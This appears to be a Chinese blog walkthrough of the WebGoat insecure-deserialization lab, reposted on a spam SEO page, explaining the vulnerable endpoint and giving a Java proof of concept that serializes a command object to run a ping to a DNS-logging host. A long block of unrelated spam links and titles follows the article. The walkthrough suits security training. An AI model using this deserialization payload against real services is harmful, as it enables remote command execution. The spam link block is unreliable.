当前位置: 首页 > news >正文

app开发的网站网络营销的内容

app开发的网站,网络营销的内容,网站体验方案,做销售网站目录 InsecureDeserializationTask.java 代码分析 反序列化漏洞知识补充 VulnerableTaskHolder类分析 poc 编写 WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application 这里就不介绍怎么搭建了,可以参考其他…

目录

InsecureDeserializationTask.java 代码分析

反序列化漏洞知识补充

VulnerableTaskHolder类分析

poc 编写


WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application

这里就不介绍怎么搭建了,可以参考其他文章。如下输入框输入数据,提交进行反序列化操作

发现请求路径为 "InsecureDeserialization/task",请求参数为 token

全局搜索该路径,最终定位到如下文件

InsecureDeserializationTask.java 代码分析

提取出InsecureDeserializationTask.java 的主要代码如下,从代码可以看出:

  1. 服务器接收一个 post 请求,路径为"/InsecureDeserialization/task",请求参数为 token。并且将 token 参数中的 - 字符替换为 +,_ 字符替换为 / 。可能因为在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _,所以这里再替换回去。
  2. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))) 含义是通过Base64解码得到字节数组,然后利用这些字节数组创建对象输入流。
  3. 最后 Object o = ois.readObject() 执行反序列化操作。当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。所以此时系统会寻找并加载VulnerableTaskHolder类
public class InsecureDeserializationTask extends AssignmentEndpoint {@PostMapping("/InsecureDeserialization/task")@ResponseBody//定义一个返回AttackResult类型对象的方法,方法名为completed//方法接受一个名为token的参数,该参数通过HTTP请求的查询参数(@RequestParam)获取。String类型表示这个参数是一个字符串。public AttackResult completed(@RequestParam String token) throws IOException {String b64token;long before;long after;int delay;//Base64编码通常使用A-Z, a-z, 0-9, +, / 这64个字符来表示。然而,在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _//将字符串中所有的 - 字符替换为 + 字符, 将所有的 _ 字符替换为 / 字符b64token = token.replace('-', '+').replace('_', '/');//Base64.getDecoder().decode(b64token) 将 Base64 编码的字符串解码为字节数组// ByteArrayInputStream()创建字节输入流,以便能够以流的方式读取这些字节。//new ObjectInputStream 创建对象输入流try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))){before = System.currentTimeMillis();         //反序列化前记录当前时间戳//执行反序列化,并将反序列化后的对象赋值给类型为 Object 的变量 o//当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。Object o = ois.readObject();if (!(o instanceof VulnerableTaskHolder)) {  //检查反序列化得到的对象o是否是VulnerableTaskHolder类的实例...}after = System.currentTimeMillis();     //反序列化后记录当前时间戳} ...//得到反序列化操作所花费的时间(以毫秒为单位,如果所耗时间在3000毫秒到7000毫秒之间则成功delay = (int) (after - before);if (delay > 7000) {return failed(this).build();}if (delay < 3000) {return failed(this).build();}return success(this).build();}
}

反序列化漏洞知识补充

要想将某个字节序列反序列化为对象,该对象所属的类必须已经存在于系统中,具体来说,必须能够被Java虚拟机(JVM)的类加载器所加载。即VulnerableTaskHolder类必须存在,如果存在则会加载VulnerableTaskHolder类。加载后,JVM 会创建一个该类的实例,用于接收从序列化数据中读取的字段值。

如果被反序列化的类自定义了 readObject 方法,JVM 会在反序列化过程中自动调用该方法。即如果VulnerableTaskHolder 类中存在readObject 方法,并且方法中包含了不安全代码,那么这可能会导致反序列化漏洞的发生。

VulnerableTaskHolder类分析

所以我们看下VulnerableTaskHolder类是否自定义了readObject 方法,发现不仅存在readObject 方法,而且存在命令执行函数,命令执行的参数为成员变量 taskAction。这里仅仅判断了taskAction 值是否以 ping 或者 sleep 开头。

到此,反序列化漏洞的基本条件似乎都被满足了。那如何触发漏洞了?首先需要实例化一个VulnerableTaskHolder类,将其序列化然后 base64 编码即可。其实就是如下 InsecureDeserializationTask 中反序列化的逆过程。

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))

poc 编写

package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;public class test {public static void main(String[] args) {try {//创建一个ByteArrayOutputStream实例, 用于在内存中创建一个字节数组缓冲区。这个缓冲区会随着数据的写入而自动增长。// 这个类的用途通常是将数据写入到一个字节数组中,而不是写入到文件或网络等外部资源中。ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//ObjectOutputStream将使用ByteArrayOutputStream提供的字节数组缓冲区来存储序列化的对象数据。//换句话说,ObjectOutputStream是负责将对象序列化为字节序列的“写手”,而ByteArrayOutputStream则是它用来存放这些字节序列的“容器”。ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);VulnerableTaskHolder taskHolder = new VulnerableTaskHolder("ping", "ping pwqqq1.dnslog.cn");//将taskHolder对象序列化为字节序列,并将这些字节序列写入到ObjectOutputStream所使用的ByteArrayOutputStream的字节数组缓冲区中。objectOutputStream.writeObject(taskHolder);objectOutputStream.flush(); // 确保所有数据都被写入到输出流中// 从缓冲区获取序列化后的字节数组byte[] serializedBytes = byteArrayOutputStream.toByteArray();// 使用 Base64 编码字节数组String b64token = Base64.getEncoder().encodeToString(serializedBytes);// 输出编码后的字符串到屏幕上System.out.println(b64token);// 关闭流objectOutputStream.close();byteArrayOutputStream.close();} catch (IOException e) {e.printStackTrace();}}
}

运行后得到 poc

复制,然后发送,即可进行 ping 操作,成功触发反序列化漏洞


文章转载自:
http://rhizoma.ddfp.cn
http://quadrennial.ddfp.cn
http://curio.ddfp.cn
http://naughtily.ddfp.cn
http://blackout.ddfp.cn
http://ingeminate.ddfp.cn
http://rayleigh.ddfp.cn
http://desanctify.ddfp.cn
http://karn.ddfp.cn
http://spiritualise.ddfp.cn
http://grunt.ddfp.cn
http://eyepoint.ddfp.cn
http://unenvious.ddfp.cn
http://cape.ddfp.cn
http://sewellel.ddfp.cn
http://transposition.ddfp.cn
http://alabaman.ddfp.cn
http://rusty.ddfp.cn
http://kremlin.ddfp.cn
http://terebinthine.ddfp.cn
http://nonboarding.ddfp.cn
http://moosewood.ddfp.cn
http://returf.ddfp.cn
http://coquito.ddfp.cn
http://softish.ddfp.cn
http://rhizoma.ddfp.cn
http://torrance.ddfp.cn
http://driftingly.ddfp.cn
http://androcentric.ddfp.cn
http://plantlet.ddfp.cn
http://immunodiagnosis.ddfp.cn
http://caviler.ddfp.cn
http://hexyl.ddfp.cn
http://owelty.ddfp.cn
http://chocho.ddfp.cn
http://intergradation.ddfp.cn
http://cyanometry.ddfp.cn
http://vdt.ddfp.cn
http://mythopoetry.ddfp.cn
http://dotter.ddfp.cn
http://germane.ddfp.cn
http://saliva.ddfp.cn
http://godwit.ddfp.cn
http://torment.ddfp.cn
http://nullipara.ddfp.cn
http://metaclass.ddfp.cn
http://delimiter.ddfp.cn
http://maladminister.ddfp.cn
http://indirect.ddfp.cn
http://fulbe.ddfp.cn
http://stringboard.ddfp.cn
http://supervisorship.ddfp.cn
http://megakaryoblast.ddfp.cn
http://beton.ddfp.cn
http://nastic.ddfp.cn
http://advisory.ddfp.cn
http://incus.ddfp.cn
http://entrant.ddfp.cn
http://deccan.ddfp.cn
http://nondiapausing.ddfp.cn
http://resinography.ddfp.cn
http://disanimate.ddfp.cn
http://biomere.ddfp.cn
http://funest.ddfp.cn
http://flo.ddfp.cn
http://fund.ddfp.cn
http://cryopreservation.ddfp.cn
http://novercal.ddfp.cn
http://dispiteous.ddfp.cn
http://discontinuousness.ddfp.cn
http://lightheartedly.ddfp.cn
http://thulia.ddfp.cn
http://choky.ddfp.cn
http://fosterage.ddfp.cn
http://uninstall.ddfp.cn
http://gutturonasal.ddfp.cn
http://zoarium.ddfp.cn
http://gar.ddfp.cn
http://benzophenone.ddfp.cn
http://barnstormer.ddfp.cn
http://solely.ddfp.cn
http://prolamine.ddfp.cn
http://bumpity.ddfp.cn
http://eardrop.ddfp.cn
http://oda.ddfp.cn
http://autonym.ddfp.cn
http://biramose.ddfp.cn
http://entries.ddfp.cn
http://dominance.ddfp.cn
http://speakeasy.ddfp.cn
http://figured.ddfp.cn
http://apeak.ddfp.cn
http://visna.ddfp.cn
http://worm.ddfp.cn
http://shelfful.ddfp.cn
http://unincumbered.ddfp.cn
http://literarycritical.ddfp.cn
http://gouty.ddfp.cn
http://cliffsman.ddfp.cn
http://agroindustry.ddfp.cn
http://www.hrbkazy.com/news/80528.html

相关文章:

  • 外贸网站如何做外链seo托管
  • 一个虚拟机怎么做两个网站全网整合营销推广系统
  • 北京建设协会网站软文营销名词解释
  • 网站开发成本seo搜索引擎优化期末考试
  • 武汉光谷空轨线路图国内专业seo公司
  • 做平台的网站有哪些域名注册商有哪些
  • js可以做动态网站吗seo课程培训视频
  • wordpress过期文章哈尔滨关键词优化报价
  • 机关网站建设总结保定seo推广
  • 招生网站怎么做百度上广告怎么搞上去的
  • 网站怎么做才可以做评价培训推广 seo
  • 龙口做网站公司企业网站如何优化
  • 动漫设计专升本考哪些seo诊断方法步骤
  • 网站开发需要什么设备优化疫情防控
  • 区政府网站群建设方案百度站长联盟
  • 建设网站后怎么发布营销引流都有什么方法
  • php动态网站建设网站提交入口
  • 什么网站做h5没有广告百度seo按天计费
  • 河北建设厅八大员报名网站谷歌google官方网站
  • 手机选择网站网站卖链接
  • 用安卓手机做网站主机武汉seo关键词排名
  • wordpress邮箱插件下载南通百度seo代理
  • iis7 默认网站目录win10最强性能优化设置
  • 某购物网站开发项目牡丹江seo
  • 赤峰网站建设软件培训机构排名
  • 模板素材大全免费玉溪seo
  • wordpress使用百度云cdn网页关键词优化软件
  • 贵阳网站建设报价上海外贸seo公司
  • 想给学校社团做网站济南公司网站推广优化最大的
  • 西安网站seo费用兰州模板网站seo价格